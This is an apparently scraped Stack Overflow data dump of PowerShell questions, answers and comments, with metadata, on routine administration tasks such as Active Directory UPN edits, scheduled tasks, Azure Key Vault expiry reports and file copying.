has body: I am trying to run a PowerShell script to change all UPNs in a specific OU to lowercase, but I am not having any success. Based on some previous posts and using the same command I use to change other attributes successfully, I am trying the following: Get-ADUser -Filter * -SearchBase "OU=[REDACTED]" | Set-ADUser -replace @{userPrincipalName=userPrincipalName.ToLower} But when I run this I am getting an error 'userPrincipalName.ToLower' is not recognized I have also tried adding () to the end of ToLower, but with the same result. Any suggestions would be greatly appreciated. Thank you for your time.
has title: Having trouble making UserPrincipalName all lowercase in Powershell
has answer: http://stackoverflow.com/a/79208857
type: Question
downvote count: 0
tagged with: powershell
answer count: 1
type: AnsweredQuestion
score: 1
upvote count: 1
favorite count: 0
tagged with: active-directory
accepted answer: http://stackoverflow.com/a/79208857

http://stackoverflow.com/comment/139731098
comment on: http://stackoverflow.com/q/79240454
score: 1
type: QuestionComment
type: Comment
has text: "Almost at once, it closes." - put `pause` as the last line in the bat, so you can see what it says. My guess is, since you haven't mentioned getting a UAC prompt, that it's not running as admin and doesn't have permissions. Does https://stackoverflow.com/questions/41767759/processstartinfo-verb-runas-not-working and Sunder's own answer help?

http://stackoverflow.com/comment/139682801
type: QuestionComment
comment on: http://stackoverflow.com/q/79213372
type: Comment
has text: Sorry to make this such a fast fix, however I solved the problem without understanding if it is a bug or not. Playing around with; $tableDef.Connect = "Text;DSN=itcont_2020_20191129_20191224 Link Specification;FMT=Delimited;HDR=NO;IMEX=2;CharacterSet=437;ACCDB=YES;DATABASE=C:\Users\fkram\Desktop\Donation_Data" I modified one portion of the line from "Text;DSN=itcont" to "Text;DSN = itcont"; adding a space before and after the "=" sign. Do not ask me why this works, you just need to add a space here to get the command to implement. Strange.
score: 0

http://stackoverflow.com/comment/139655020
score: 0
has text: I think the remote was running bash, so that would be why it was working before. The reason I wanted to avoid multiple scp commands is because the remote requires authentication for each scp command, which would require 10+ authenatications for what I am trying to do. I will update the question statement to reflect this. I am mostly confused as to why it no-longer works, more than anything.
type: QuestionComment
type: Comment
comment on: http://stackoverflow.com/q/79198075

http://stackoverflow.com/comment/139436814
type: QuestionComment
type: Comment
score: 2
comment on: http://stackoverflow.com/q/79078578
has text: Can you share sample input data (the contents of `C:\Reports\key.txt`)?

http://stackoverflow.com/comment/139549345
comment on: http://stackoverflow.com/q/79132168
type: QuestionComment
has text: snap shot may be on one machine and the other machines the directory is a link.
type: Comment
score: 0

http://stackoverflow.com/q/79099571
duplicate of: http://stackoverflow.com/q/58838941
type: UnansweredQuestion
upvote count: 1
score: 1
has answer: http://stackoverflow.com/a/79099641
linked to: http://stackoverflow.com/q/31843443
favorite count: 0
tagged with: parameters
has title: providing a parameter without a value to select a default value: `script -log` vs `script -log filename`
type: Question
has body: What I want is a combo of a switch parameter and a string parameter. Where there are 3 scenarios (not just 2): -log not given -log given, default filename -log filename given All these states could exist, but I think powershell prevents them. You can get the first 2 with a [switch] parameter. You can get 1 and 3 with a [string]$log = 'default' But I see no way to get all 3. One use-case is simple and commonplace. I want to either turn a log file on or off, and either let the script use a default logfile or provide my own. Simple. Easy. But I can't figure out how. (I can figure out several workarounds, but no direct way in the language as currently defined.) One might think that [AllowNull()] would allow -log with no value, but it does not. It only allows -log $null (as called from powershell; called from other contexts, who knows?) (And anyway powershell turns the null into an empty string) Another way to state this is that while powershell permits Mandatory and non-Mandatory parameters, all parameter values are Mandatory (if the parameter is provided and is not a switch) and there's no way to turn that off. I believe the following code would work if powershell would not object to the parameters given. But powershell does in fact object (throws an error). Function Test-Func { Param( [string]$log = 'default_logfile.log' ) $do_log = 'uninit' if ($PSBoundParameters.ContainsKey('log')) { $do_log = $true '-log provided' | Tee-Object -Append $log } else { $do_log = $false '-log not provided' # no Tee-Object } $msg = "log='$log'" $msg if ($do_log) { $msg | Out-File -Append $log } } '1' Test-Func '2' Test-Func -log 'myfile.log' '3' Test-Func -log # Error: Test-Func : Missing an argument for parameter 'log'. # I want it to use the default_logfile in this case. Above code produces the output: 1 -log not provided log='default_logfile.log' 2 -log provided log='myfile.log' 3 Test-Func : Missing an argument for parameter 'log'. Specify a parameter of type 'System.String' and try …
linked to: http://stackoverflow.com/q/58838941
downvote count: 0
tagged with: powershell
answer count: 1

http://stackoverflow.com/comment/139608279
type: AnswerComment
type: Comment
score: 0
has text: @KJ I don't know, I do have `cpl` on my system. It probably varies in different OS. I'm answering OP's question here providing the source used to filter.
comment on: http://stackoverflow.com/a/79172045

http://stackoverflow.com/q/79136438
has body: I’m experiencing an issue with a PowerShell script that creates and starts a scheduled task. This script works without any issues on Windows Server 2019. However, on Windows Server 2022, the task is created successfully and shows up with the status Ready, but it does not start as scheduled until a user manually logs in to the server. Below code runs a powershell remoting session. Here’s the PowerShell script I'm using: $action = New-ScheduledTaskAction -Execute $ExeName -Argument $Arguments $settings = New-ScheduledTaskSettingsSet $adminGroup = (Get-LocalGroup -SID 'S-1-5-32-544').Name $principal = New-ScheduledTaskPrincipal -GroupID $adminGroup -RunLevel Highest $task = New-ScheduledTask -Action $action -Settings $settings -Principal $principal Register-ScheduledTask -TaskName $TaskName -InputObject $task -Force | Out-Null Start-ScheduledTask -TaskName $TaskName -AsJob | Out-Null $ExeName and $Arguments are set to the correct executable and arguments. The task is configured to run with highest privileges under the Administrators group. The task appears in Task Scheduler with the status Ready, but it doesn’t trigger until a user logs in, which defeats the purpose of automation. What I've Tried: Verified that the task works as expected on Windows Server 2019 with the same settings. Additional Information: I am unable to use any account other than Administrators since the executable requires it. The server has all the latest updates installed. Running PowerShell 5.1 for this script. Is there any difference in task scheduling behavior between Windows Server 2019 and 2022 when tasks are created and started from a PowerShell remoting session? Any help or suggestions would be greatly appreciated.
type: Question
tagged with: windows-server-2019
tagged with: powershell
answer count: 1
has comment: http://stackoverflow.com/comment/139542263
has title: Scheduled Task Not Starting on Windows Server 2022 Until User Logs In
score: 0
tagged with: windows-server-2022
type: UnansweredQuestion
has answer: http://stackoverflow.com/a/79167412

http://stackoverflow.com/comment/139689244
has text: The feild type parameter is not available for checking the field; it only supports displayed parameters.
score: 1
type: Comment
comment on: http://stackoverflow.com/a/79213598
type: AnswerComment

http://stackoverflow.com/comment/139705318
has text: @Arko Thanks, but I cannot login to the Azure portal. I have only the information as shown in the post above.
type: QuestionComment
type: Comment
score: 0
comment on: http://stackoverflow.com/q/79225874

azure-alerts
type: Tag
tags question: http://stackoverflow.com/q/79071809
tag name: azure-alerts

http://stackoverflow.com/q/79229813
tagged with: azure-automation
has answer: http://stackoverflow.com/a/79230278
tagged with: powershell
has body: I am trying to list all the keys, secrets, and certificates that are either expired or going to be expire in 20 days from multiple key vaults from multiple subscriptions but receiving the PS script error. I need an output in a table format that includes subscription name, key vault name, object category like keys or secrets or certificates, object name, expired date and expires in how many days. I'm trying to run the script in automation account runbook but I'm getting error. Error in Automation Runbbok Connect-AzAccount -Identity $AlertBeforeDays = 20 # Function to get expiring items from a Key Vault function Get-ExpiringItems { param ( [string]$VaultName, [datetime]$ExpiryDate ) $ExpiringItems = @() # Check for expired or expiring keys $Keys = Get-AzKeyVaultKey -VaultName $VaultName $ExpiringKeys = $Keys | Where-Object { $_.Attributes.Expires -lt $ExpiryDate } $ExpiringKeys | ForEach-Object { $ExpiringItems += [PSCustomObject]@{ VaultName = $VaultName ItemType = "Key" ItemName = $_.Key.Kid ExpiryDate = $_.Attributes.Expires } } # Check for expired or expiring secrets $Secrets = Get-AzKeyVaultSecret -VaultName $VaultName $ExpiringSecrets = $Secrets | Where-Object { $_.Attributes.Expires -lt $ExpiryDate } $ExpiringSecrets | ForEach-Object { $ExpiringItems += [PSCustomObject]@{ VaultName = $VaultName ItemType = "Secret" ItemName = $_.Id ExpiryDate = $_.Attributes.Expires } } # Check for expired or expiring certificates $Certificates = Get-AzKeyVaultCertificate -VaultName $VaultName $ExpiringCertificates = $Certificates | Where-Object { $_.Attributes.Expires -lt $ExpiryDate } $ExpiringCertificates | ForEach-Object { $ExpiringItems += [PSCustomObject]@{ VaultName = $VaultName ItemType = "Certificate" ItemName = $_.Id ExpiryDate = $_.Attributes.Expires } } return $ExpiringItems } # Get current date and date 20 days from now $CurrentDate = Get-Date $ExpiryDate = $CurrentDate.AddDays($AlertBeforeDays) # Initialize array to hold all expiring items $AllExpiringItems = @() #…
tagged with: azure
has comment: http://stackoverflow.com/comment/139712436
score: 0
has title: Key vaults keys, secrets, and certificates PS script
has comment: http://stackoverflow.com/comment/139712457
type: UnansweredQuestion
type: Question
tagged with: azure-runbook
answer count: 1

http://stackoverflow.com/a/79227179
type: AcceptedAnswer
score: 2
has comment: http://stackoverflow.com/comment/139714820
has comment: http://stackoverflow.com/comment/139707473
downvote count: 0
answers question: http://stackoverflow.com/q/79227113
has comment: http://stackoverflow.com/comment/139707643
has comment: http://stackoverflow.com/comment/139708070
has comment: http://stackoverflow.com/comment/139707571
has comment: http://stackoverflow.com/comment/139707448
type: Answer
upvote count: 2
accepted answer of: http://stackoverflow.com/q/79227113
has comment: http://stackoverflow.com/comment/139707428
has comment: http://stackoverflow.com/comment/139707536
has body: There are a 2 issues with your current approach, first, ArgumentList doesn't exist as parameter of Where-Object. The second issue is more complicated, since you're using a connectionInfo: RunspaceFactory.CreateRunspace(connectioninfo), everything is serialized so trying to pass-in a script block to the remote session: ScriptBlock.Create("$_.InstalledOn -gt $StartTimeGenerated"); will fail. This is proven by the following code, in PowerShell side: $proc = Start-Process powershell -PassThru $connection = [System.Management.Automation.Runspaces.NamedPipeConnectionInfo]::new($proc.Id) $rs = [runspacefactory]::CreateRunspace($connection) $rs.Open() $pipeline = $rs.CreatePipeline() $pipeline.Commands.Add('Get-HotFix') $where = [System.Management.Automation.Runspaces.Command]::new('Where-Object') $where.Parameters.Add( 'FilterScript', [scriptblock]::Create('$_.InstalledOn -gt [datetime]::Now.AddMonths(-1)')) $sort = [System.Management.Automation.Runspaces.Command]::new('Sort-Object') $sort.Parameters.Add('Property', 'InstalledOn') $sort.Parameters.Add('Descending') $null = $pipeline.Commands.Add($where) $null = $pipeline.Commands.Add($sort) $pipeline.Invoke() $proc.Kill() The above fails with same issue as you're experiencing: Cannot convert the "$_.InstalledOn -gt [datetime]::Now.AddMonths(-1)" value of type "System.String" to type "System.Management.Automation.ScriptBlock"." The simplest solution I can think of in this case will be to use Where-Object Comparison statement instead of Script block, with this approach you don't need to create a Script Block at all: $proc = Start-Process powershell -PassThru $connection = [System.Management.Automation.Runspaces.NamedPipeConnectionInfo]::new($proc.Id) $rs = [runspacefactory]::CreateRunspace($connection) $rs.Open() $pipeline = $rs.CreatePipeline() $pipeline.Commands.Add('Get-HotFix') $where = [System.Management.Automation.Runspaces.Command]::new('Where-Object') $where.Parameters.Add("Property", "InstalledOn") $where.Parameters…
has comment: http://stackoverflow.com/comment/139711834
has comment: http://stackoverflow.com/comment/139714910
has comment: http://stackoverflow.com/comment/139711969
has comment: http://stackoverflow.com/comment/139718272

http://stackoverflow.com/q/79160366
has comment: http://stackoverflow.com/comment/139585961
score: 0
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/139586084
has title: PowerShell Copy-Item not copying deep folders?
tagged with: copy-item
has comment: http://stackoverflow.com/comment/139586028
has comment: http://stackoverflow.com/comment/139586018
type: Question
has answer: http://stackoverflow.com/a/79161743
has comment: http://stackoverflow.com/comment/139589088
has comment: http://stackoverflow.com/comment/139585871
tagged with: powershell
has comment: http://stackoverflow.com/comment/139586047
answer count: 1
has body: I am writing a script to copy items to a drive when I connect a specific drive. The script works, but it won't copy deep subfolders Here is a sample of my code: $folder = @(Get-ChildItem -path "C:\Users\public" -recurse -directory -filter "Projects") $folder $folder.FullName Copy-Item -Path $folder.FullName -Destination "Z:\" -Recurse I assume the code would get the Projects folder from within other folders located deep in C:\Users\public. EX: The command will work for my Personal folder located C:\Users\public\document\WIP\Personal, but it won't work for C:\Users\public\document\WIP\Personal\Projects The Projects folder isn't empty, so I assume it should be able to locate and copy the folder, but it isn't and I'm not sure why I've attempted to find answers to this problem, but most answers point to using robocopy instead Does anyone know why this script section isn't working? Will I need to switch from copy-item to robocopy? Note: $folder and $folder.FullName are just there to test that Get-ChildItem works, which has worked every time I tested it, but copy-item isn't
has comment: http://stackoverflow.com/comment/139585947

http://stackoverflow.com/a/79120176
has comment: http://stackoverflow.com/comment/139516925
has body: PowerShell won't give you hints if you try to get a property that doesn't exist, so you are not receiving any feedback when you query on a non-existent $_.Version property. To check the properties that are available, run: Get-PnpDevice | Get-Member This returns a list of properties - of which Version is not an option: Name MemberType Definition ---- ---------- ---------- Class AliasProperty Class = PNPClass FriendlyName AliasProperty FriendlyName = Name InstanceId AliasProperty InstanceId = DeviceID Problem AliasProperty Problem = ConfigManagerErrorCode So you have to first find the devices you are interested in, with a query like: $devices = Get-PnpDevice | Where-Object {$_.FriendlyName -like &quot;*Intel*&quot;} Then make use of the Get-PnpDeviceProperty cmdlet on each Instance to find Instances that have the old driver version - for example for the first device found: $version = Get-PnpDeviceProperty -InstanceId $device.InstanceId | Where-Object { $_.KeyName -like '*Version*'} | Select-Object -ExpandProperty Data (Run the command through adding each piped section at a time to get an idea of the intermediate steps here) Then use Disable-PnpDevice when you find the devices you want to disable.
has comment: http://stackoverflow.com/comment/139512411
has comment: http://stackoverflow.com/comment/139518120
answers question: http://stackoverflow.com/q/79120077
upvote count: 2
downvote count: 0
type: Answer
score: 2

http://stackoverflow.com/comment/139549323
type: AnswerComment
type: Comment
comment on: http://stackoverflow.com/a/79137320
score: 0
has text: To see more data try : $FileShares | format-list

http://stackoverflow.com/q/79151498
tagged with: github-actions
has body: I have the following GitHub Actions step: - name: Test build with powershell if: runner.os == 'Windows' shell: pwsh run: | Set-PSDebug -Trace 1 "C:\Program Files (x86)\Microsoft Visual Studio\2019\Enterprise\MSBuild\Current\Bin\MSBuild.exe" src/li.vcxproj -nologo -clp:DisableConsoleColor -p:Configuration=Release -p:Platform=x64 -p:CustomAfterMicrosoftCommonTargets="C:\Fortify\Core\private-bin\sca\MSBuildPlugin\Fortify.targets" When I run my workflow, I get this error: ParserError: C:\actions-runner\_work\_temp\18c38524-eb14-47cb-8494-13adcb59a93e.ps1:3 Line | 3 | … 19\Enterprise\MSBuild\Current\Bin\MSBuild.exe" src/li.vcxproj -nologo … | ~~~~~~~~~~~~~~ | Unexpected token 'src/li.vcxproj' in expression or statement. I tried changing my quoting around the MSBuild.exe path to use single quotes rather than double quotes, but I get the same error with both quotes. Why is the token considered unexpected, and how can I fix my syntax?
tagged with: powershell
linked to: http://stackoverflow.com/q/57677186
has comment: http://stackoverflow.com/comment/139569388
has title: Unexpected token in PowerShell with GitHub Actions
score: 0
type: UnansweredQuestion
type: Question
duplicate of: http://stackoverflow.com/q/57677186
answer count: 0

http://stackoverflow.com/comment/139618427
type: QuestionComment
has text: Use `ConstrainedLanguage` mode, but add a function to the session state that proxies the callbacks - then you can control input with parameter validation, calling user just does `Invoke-CallBack -Stub LogMessage -Arguments "Hello from script!"`
type: Comment
score: 1
comment on: http://stackoverflow.com/q/79177876

http://stackoverflow.com/comment/139499682
type: Comment
score: 0
comment on: http://stackoverflow.com/a/79107020
type: AnswerComment
has text: Any update on the issue?

microsoft-graph-api
tags question: http://stackoverflow.com/q/79135883
tags question: http://stackoverflow.com/q/79088713
tags question: http://stackoverflow.com/q/79223169
tag name: microsoft-graph-api
tags question: http://stackoverflow.com/q/79102062
tags question: http://stackoverflow.com/q/79099681
type: Tag
tags question: http://stackoverflow.com/q/79093007
tags question: http://stackoverflow.com/q/79205090
tags question: http://stackoverflow.com/q/79117908
tags question: http://stackoverflow.com/q/79153871
tags question: http://stackoverflow.com/q/79395138
tags question: http://stackoverflow.com/q/79293153
tags question: http://stackoverflow.com/q/79380511
tags question: http://stackoverflow.com/q/79255591
tags question: http://stackoverflow.com/q/79271108
tags question: http://stackoverflow.com/q/79347039
tags question: http://stackoverflow.com/q/79380052
tags question: http://stackoverflow.com/q/79352579
tags question: http://stackoverflow.com/q/79349429
tags question: http://stackoverflow.com/q/79253851
tags question: http://stackoverflow.com/q/79349700
tags question: http://stackoverflow.com/q/79475436
tags question: http://stackoverflow.com/q/79518747
tags question: http://stackoverflow.com/q/79481706
tags question: http://stackoverflow.com/q/79472049
tags question: http://stackoverflow.com/q/79454577
tags question: http://stackoverflow.com/q/79492382
tags question: http://stackoverflow.com/q/79475775
tags question: http://stackoverflow.com/q/79448439
tags question: http://stackoverflow.com/q/79546707
tags question: http://stackoverflow.com/q/79439368
tags question: http://stackoverflow.com/q/79466019
tags question: http://stackoverflow.com/q/79523267
tags question: http://stackoverflow.com/q/79421844
tags question: http://stackoverflow.com/q/79520675
tags question: http://stackoverflow.com/q/79530659
tags question: http://stackoverflow.com/q/79506279

http://stackoverflow.com/comment/139500100
comment on: http://stackoverflow.com/q/79098114
type: QuestionComment
type: Comment
score: 0
has text: @RuiJarimba, I tried to, but this didn't helped. Locally it contains System.Net.Http.HttpRequestException with message, that I need, but in pipeline it is just System.Net.Http.HttpRequestException: Response status code does not indicate success: 400 (Bad Request).

http://stackoverflow.com/comment/139432736
score: 4
type: QuestionComment
type: Comment
comment on: http://stackoverflow.com/q/79076263
has text: Your url isn't a binary download - it's a html page that kicks off the download process when you load it in a browser. When you request the contents of that url in PowerShell you just get the raw html because ```Invoke-WebRequest``` doesn't contain the functionality of a full interactive web browser. You'll need to work out what that page is doing to get the browser to trigger the download and then update you script to do that instead...

http://stackoverflow.com/comment/139638840
score: 0
comment on: http://stackoverflow.com/q/79188856
has text: Try changing ```$applications = Get-AzADApplication -All $true``` to ```$applications = Get-AzADApplication```, this is because ```-all``` is not a parameter that is available on the cmdlet ```Get-AzADApplication``` as shown [here](https://learn.microsoft.com/en-us/powershell/module/az.resources/get-azadapplication?view=azps-12.5.0)
type: QuestionComment
type: Comment

http://stackoverflow.com/q/79186769
has answer: http://stackoverflow.com/a/79186793
upvote count: 1
tagged with: runonce
has title: RunOnce another file in same folder as first file
score: 1
has body: I have a folder that holds 4 PowerShell files each with their own 4 exes to call. I am trying to have the 1 PowerShell file write to the registry the runonce key 2nd script, and then propagate down. So far I have successfully done one script and one exe leaving me 3 more to go. I did write a runonce key with a variable $cwd which is $PSScriptRoot but it won't populate the path in the key. It appears as: This is how the registry entry looks like for run once. "powershell.exe -noexit "$cwd\main2.ps1" -ArgumentList "-path $cwd"" I want the registry entry to look like this: "powershell.exe -noexit "C:\Test\test\main2.ps1" -ArgumentList "-path C:\Test\test"" Any ideas how I can pass the path into the script from a variable in my first powershell script. I tried it and only got one script and exe running, additionally I was able to write to the registry the next key but it wouldn't run the next script. Better version: "powershell.exe -noexit -File `"C:\Test\test\main2.ps1 -path C:\Test\test`"" PowerShell Script This is main0, and I have main, main1, main2. $homepath = "HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce" If(-NOT(Test-Path $homepath)){ New-Item $homepath -Force | Out-Null } $cwd = $PSScriptRoot Set-ItemProperty $homepath (New-Guid) ' C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe -noexit "$cwd\\main.ps1" -ArgumentList "-path $cwd"" ' $name = (Get-ChildItem $cwd\*.exe | where {$_.Name -like "*exename*"}).FullName start $name
favorite count: 0
type: Question
downvote count: 0
tagged with: powershell
accepted answer: http://stackoverflow.com/a/79186793
answer count: 1
type: AnsweredQuestion

http://stackoverflow.com/comment/139598441
comment on: http://stackoverflow.com/q/79164514
score: 0
has text: Not from the server-side that I'm aware. I've had a quick look at the protocol spec https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-rdpbcgr/5073f4ed-1e93-45e1-b039-6e30c385867c and I can't see any messages that would be relevant for that. Is there any reason you can't do this from the client side?
type: QuestionComment
type: Comment

http://stackoverflow.com/a/79181231
type: Answer
has body: GetFiles needs to collect everything before outputting, that's your main issue. You need to use EnumerateFiles instead: The EnumerateFiles and GetFiles methods differ as follows: When you use EnumerateFiles, you can start enumerating the collection of FileInfo objects before the whole collection is returned. When you use GetFiles, you must wait for the whole array of FileInfo objects to be returned before you can access the array. Therefore, when you are working with many files and directories, EnumerateFiles can be more efficient. You should also avoid New-Object and ForEach-Object if you're looking for performance. In summary: $dirInfo = [System.IO.DirectoryInfo]::new('C:\Logs') $daysOld = 30 $cutoffDate = (Get-Date).AddDays(-$daysOld) foreach ($file in $dirInfo.EnumerateFiles('*', [System.IO.SearchOption]::AllDirectories)) { if ($file.LastWriteTime -lt $cutoffDate) { $file.Delete() Write-Output "Deleted: $($file.FullName)" (Get-Date) } }
downvote count: 0
score: 3
upvote count: 3
answers question: http://stackoverflow.com/q/79181031
accepted answer of: http://stackoverflow.com/q/79181031
type: AcceptedAnswer

http://stackoverflow.com/comment/139588343
type: QuestionComment
has text: try to use `Connect-AzAccount -Identity` or `Connect-AzAccount -ServicePrincipal -TenantId $TenantId -Credential $Credential` to avoid user interaction. https://learn.microsoft.com/en-us/powershell/module/az.accounts/connect-azaccount?view=azps-12.4.0
type: Comment
comment on: http://stackoverflow.com/q/79161585
score: 0

http://stackoverflow.com/comment/139526031
type: AnswerComment
has text: I have thousands of replacements - so I need an easy way to just have them in a text file or something, which is what I am doing now. Then I just copy/paste them into the replacements section.
type: Comment
comment on: http://stackoverflow.com/a/79126797
score: 0

http://stackoverflow.com/comment/139499864
has text: cim cmdlets should connect from linux to remote windows machine as well as WMI. But CIM uses WinRM to do stuff like these which should be set up firstly. CIM is better and should be used instead of WMI, no argue, but it's not a solution for my question
score: 0
type: AnswerComment
type: Comment
comment on: http://stackoverflow.com/a/79109834

http://stackoverflow.com/comment/139568058
has text: @zett42, in that case, you might also consider the native general [`PSCustomObject`](https://learn.microsoft.com/powershell/scripting/learn/deep-dives/everything-about-pscustomobject) class: `$dict = [PSCustomObject]@{ a = $Null; b = $Null; c = $Null }`
type: QuestionComment
type: Comment
score: 1
comment on: http://stackoverflow.com/q/79149903

http://stackoverflow.com/q/79150204
has title: PowerShell: recursively go through a folder, its subfolders and files -> export fileinfo to .csv
has comment: http://stackoverflow.com/comment/139567476
tagged with: fileinfo
tagged with: powershell
type: AnsweredQuestion
score: 0
has answer: http://stackoverflow.com/a/79150422
has answer: http://stackoverflow.com/a/79150654
possible better answer: http://stackoverflow.com/a/79150422
accepted answer: http://stackoverflow.com/a/79150654
answer count: 2
has body: I'm trying to build a powershell-script that would recursively go through a specific folder and its subfolders to list all files within. In addition, I want to calculate both MD5 and SHA1 hashes, together with the filesize in B and export the results to a CSV. So, per file, I need: Path to file, relative to its root (where the script is being executed) MD5-Hash SHA1-Hash Filesize in B I was able to come up with the following; gci -Recurse -Exclude *.txt, *.ps1, *.csv | select FullName | %{get-Filehash -Algorithm md5 -Path $_.FullName ; get-FileHash -Algorithm sha1 -Path $_.FullName ; (Get-Item -Path $_.FullName).Length} | export-csv -Path $PSScriptRoot\md5hashes.csv -NoTypeInformation In Powershell, this looks OK-ish, but in the .csv there's no filesize included. Many thanks for your time in advance!
type: Question
has comment: http://stackoverflow.com/comment/139569906
linked to: http://stackoverflow.com/q/21047185

http://stackoverflow.com/q/79179722
type: Question
possible better answer: http://stackoverflow.com/a/79182691
answer count: 3
has answer: http://stackoverflow.com/a/79182691
accepted answer: http://stackoverflow.com/a/79181472
score: 2
upvote count: 2
downvote count: 0
tagged with: powershell
has answer: http://stackoverflow.com/a/79181472
type: AnsweredQuestion
has title: Pass parameters to the script block when using PowerShell module "RunAsUser"
favorite count: 0
has answer: http://stackoverflow.com/a/79182902
tagged with: windows
has comment: http://stackoverflow.com/comment/139625409
has body: I am writing a PowerShell script to be used in a component in Datto RMM. To run as the logged in user I am using the PowerShell module RunAsUser. I would like to be able to pass variables in from the Datto job to a command inside the script block. Here is my code $scriptblock = { param($Message, $WaitSeconds, $Title, $BoxType) $wshell = New-Object -ComObject Wscript.Shell $Output = $wshell.Popup($Message, $WaitSeconds, $Title, $BoxType) # Due to scope, none of the variables in the scriptblock # can be seen outside the block so we need to # provide an ouput to the calling object if it wants it. Write-Host $Output } # see https://github.com/KelvinTegelaar/RunAsUser for specifics # of invoke-ascurrentuser $str = invoke-ascurrentuser -scriptblock $scriptblock -ArgumentList $env:Message, $env:WaitSeconds, $env:Title, $env:BoxType -CaptureOutput I don't get an error but I also don't get a message box. Some ways of doing it I have tried get me no error but a minimal message box as if the parameters were all blank.

filenames
type: Tag
tags question: http://stackoverflow.com/q/79100678
tag name: filenames
tags question: http://stackoverflow.com/q/79396258
tags question: http://stackoverflow.com/q/79321927

http://stackoverflow.com/q/79141597
tagged with: clock
linked to: http://stackoverflow.com/q/56612034
type: AnsweredQuestion
tagged with: terminal
has answer: http://stackoverflow.com/a/79145770
has title: Powershell clock in top right corner
accepted answer: http://stackoverflow.com/a/79145770
linked to: http://stackoverflow.com/q/185575
favorite count: 0
has body: I want a clock in the top right corner of the terminal using powershell similar if not identical to the bash script provided below. Bash snippet: while true; do echo -ne "\e[s\e[0;$((COLUMNS-7))H\e[30;47m$(date +'%H:%M:%S')\e[0m\e[u"; sleep 1; done & And i want something similar in PowerShell. I tried this: Clear-Host function Show-Clock { $width = [console]::WindowWidth $height = [console]::WindowHeight $x = $width - 8 # Width for "HH:MM:SS" $y = 0 while ($true) { $time = (Get-Date).ToString("HH:mm:ss") [console]::SetCursorPosition($x, $y) Write-Host "$time" -BackgroundColor White -ForegroundColor Black -NoNewline Start-Sleep -Seconds 1 } } Show-Clock And it works but you cant use the terminal while its running which i want to. Any help is appreciated! Edit 1: Now i used Start-Process -NoNewWindow in order to mimic the ampersands (&) functionality but that didnt work either: Clear-Host function Show-Clock { $width = [console]::WindowWidth $height = [console]::WindowHeight $clockPositionX = $width - 8 # Width for "HH:MM:SS" $clockPositionY = 0 while ($true) { $time = (Get-Date).ToString("HH:mm:ss") [console]::SetCursorPosition($clockPositionX, $clockPositionY) Write-Host "$time" -BackgroundColor White -ForegroundColor Black -NoNewline Start-Sleep -Seconds 1 } } Start-Process powershell.exe -ArgumentList "-NoProfile -ExecutionPolicy Bypass -Command 'Show-Clock'" -NoNewWindow
type: Question
upvote count: 2
downvote count: 0
answer count: 1
has comment: http://stackoverflow.com/comment/139559649
score: 2
has comment: http://stackoverflow.com/comment/139551489
has comment: http://stackoverflow.com/comment/139559242
tagged with: powershell

azure-avd
type: Tag
tag name: azure-avd
tags question: http://stackoverflow.com/q/79227817

http://stackoverflow.com/comment/139515615
comment on: http://stackoverflow.com/q/79121690
has text: Actually I have put xxxxxxx instead of the real value for a question of confidentiality. Anyway I'm going to test what you propose. Thanks.
type: QuestionComment
type: Comment
score: 0

http://stackoverflow.com/comment/139548448
comment on: http://stackoverflow.com/a/79137320
score: 0
type: AnswerComment
has text: HI jdweng, thanks for the help. Your script works but partially . $ComputerName has 3 open shares but in the output of $newRow I can see only 1 share name against the computername. pasted the output below PS C:\Users\biswa> $Shares ADMIN$ C$ test55 PS C:\Users\biswa> $newRow Computer Name Share Name ------------- ---------- ComputerName test55
type: Comment

http://stackoverflow.com/a/79153071
answers question: http://stackoverflow.com/q/79153057
score: 3
upvote count: 3
accepted answer of: http://stackoverflow.com/q/79153057
type: AcceptedAnswer
has body: This issue isn't reproducible in PowerShell 7 latest, but in Windows PowerShell 5.1 Group-Object with a string property (-Property weight) doesn't know how to handle incoming hash tables (@{ ... }) from pipeline but you can help it using a calculated expression instead: @( @{ name = 'a' ; weight = 7 } @{ name = 'b' ; weight = 1 } @{ name = 'c' ; weight = 3 } @{ name = 'd' ; weight = 7 } ) | Group-Object -Property { $_.weight } -NoElement
downvote count: 0
type: Answer

http://stackoverflow.com/comment/139613300
has text: All the **extra** explanation should be don using [edit] in the question, not via comments on that question.
score: 0
comment on: http://stackoverflow.com/q/79174610
type: QuestionComment
type: Comment

http://stackoverflow.com/q/79121690
tagged with: jira
has comment: http://stackoverflow.com/comment/139515640
has body: I would like to attach a small txt file in an existing JIRA ticket by the help of the command Invoke-RestMethod - POST in Powershell Here after the code (file Test_JTR_post_transition.ps1): param( [Parameter(Mandatory,HelpMessage='JIRA ID')] [String]$jiraID ) write-host jiraID = $jiraID $base64AuthInfo = Get-Content ($psScriptRoot + "\config\s_asa_tech_base64.txt") [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12 $jiraRestUrl = "http://xxxxxxx/jira/rest/api/2" function put-attachedfile(){ param( [Parameter(Mandatory=$true)] [String]$jiraID ) $attfile = "export.txt" $result= Invoke-RestMethod -Method POST -ContentType "multipart/form-data" -infile $attfile -uri "$jiraRestUrl/issue/$jiraID/attachments" -Headers @{Authorization=("Basic {0}" -f $base64AuthInfo)} return $result write-host result = $result } $status = put-attachedfile -jiraID $jiraID return $status I run the ps1 file as followed : PS D:\Scripts\eventCreation> .\Test_JTR_post_transition.ps1 -jiraID OASSBISAS-10414 And I got the following messages : Invoke-RestMethod : The remote server returned an error: (404) Not Found. At D:\Scripts\eventCreation\Test_JTR_post_transition.ps1:41 char:12 + $result= Invoke-RestMethod -Method POST -infile $attfile -ContentTy ... + ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ + CategoryInfo : InvalidOperation: (System.Net.HttpWebRequest:HttpWebRequest) [Invoke-RestMethod], WebException + FullyQualifiedErrorId : WebCmdletWebResponseException,Microsoft.PowerShell.Commands.InvokeRestMethodCommand
has answer: http://stackoverflow.com/a/79122048
type: Question
has comment: http://stackoverflow.com/comment/139515615
tagged with: powershell
answer count: 1
has title: Issue when trying to attach a txt file in a JIRA ticket using Invoke-RestMethod in Powershell
score: 0
has comment: http://stackoverflow.com/comment/139515142
type: UnansweredQuestion
tagged with: invoke-restmethod

http://stackoverflow.com/comment/139495242
type: Comment
score: 0
comment on: http://stackoverflow.com/q/79110018
has text: Good idea, thank you
type: QuestionComment

http://stackoverflow.com/q/79208376
